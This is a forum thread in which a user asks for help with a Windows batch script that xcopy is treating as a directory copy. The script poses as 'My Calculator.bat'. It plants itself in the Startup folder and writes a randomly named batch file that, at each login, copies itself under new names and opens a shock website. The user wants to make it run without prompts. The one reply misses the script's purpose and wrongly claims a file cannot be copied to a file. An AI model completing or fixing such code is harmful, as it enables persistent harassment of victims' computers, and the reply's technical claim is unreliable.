xcopy assumes the destination is a directory

November 22, 2011 at 20:26:13
Specs: Windows Vista
i need xcopy to assumes the destination is a file:


@echo off
Setlocal EnableDelayedExpansion
Set _Alphanumeric=abcdefghijklmnopqrstuvwxyz0123456789
Set _count=0

@echo off
Set /a _count=1
SET _RND=%Random%
@echo off
Set /A _RND=_RND%%36
SET _rndalphanum=!_Alphanumeric:~%_RND%,1!
@echo off
SET _RND1=%Random%
Set /A _RND1=_RND1%%36
SET _rndalphanum1=!_Alphanumeric:~%_RND1%,1!
@echo off
SET _RND2=%Random%
Set /A _RND2=_RND2%%36
SET _rndalphanum2=!_Alphanumeric:~%_RND2%,1!
@echo off

SET _RND3=%Random%
Set /A _RND3=_RND3%%36
SET _rndalphanum3=!_Alphanumeric:~%_RND3%,1!
@echo off
SET _RND4=%Random%
Set /A _RND4=_RND4%%36
SET _rndalphanum4=!_Alphanumeric:~%_RND4%,1!
@echo off
@echo off

xcopy "My Calculator.bat" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\*.*" /y /c >nul
echo xcopy "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\%random%%random%%random%%random%%random%!.bat" /y /c >>!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat
echo start www.meatspin.com >>!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat
echo exit >>!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat
xcopy "!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\*.*" /y /c >nul

(yes i know the rndalphanum is horrifically long, cbf setting it to something then changing it)
i am trying to make the line with:


echo xcopy "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\%random%%random%%random%%random%%random%!.bat" /y /c >>!_rndalphanum!!_rndalphanum1!!_rndalphanum2!!_rndalphanum3!!_rndalphanum4!.bat


have "echo|f" in front of the "xcopy" so i dont get a prompt asking if i want to make it a file or directory.


See More: xcopy assumes the destination is a directory

Report •


#1
November 23, 2011 at 08:52:07
That's not possible because you can't copy a file to a file, you can only copy a file to a folder or to the root of a drive.

You can tell xcopy to write to a folder, and if a file of the same name already exists in that folder it will prompt you for confirmation. If you want xcopy to overwrite files without asking, use the /Y switch.

See this: http://users.cybercity.dk/~bse26236...


Report •
Related Solutions


Ask Question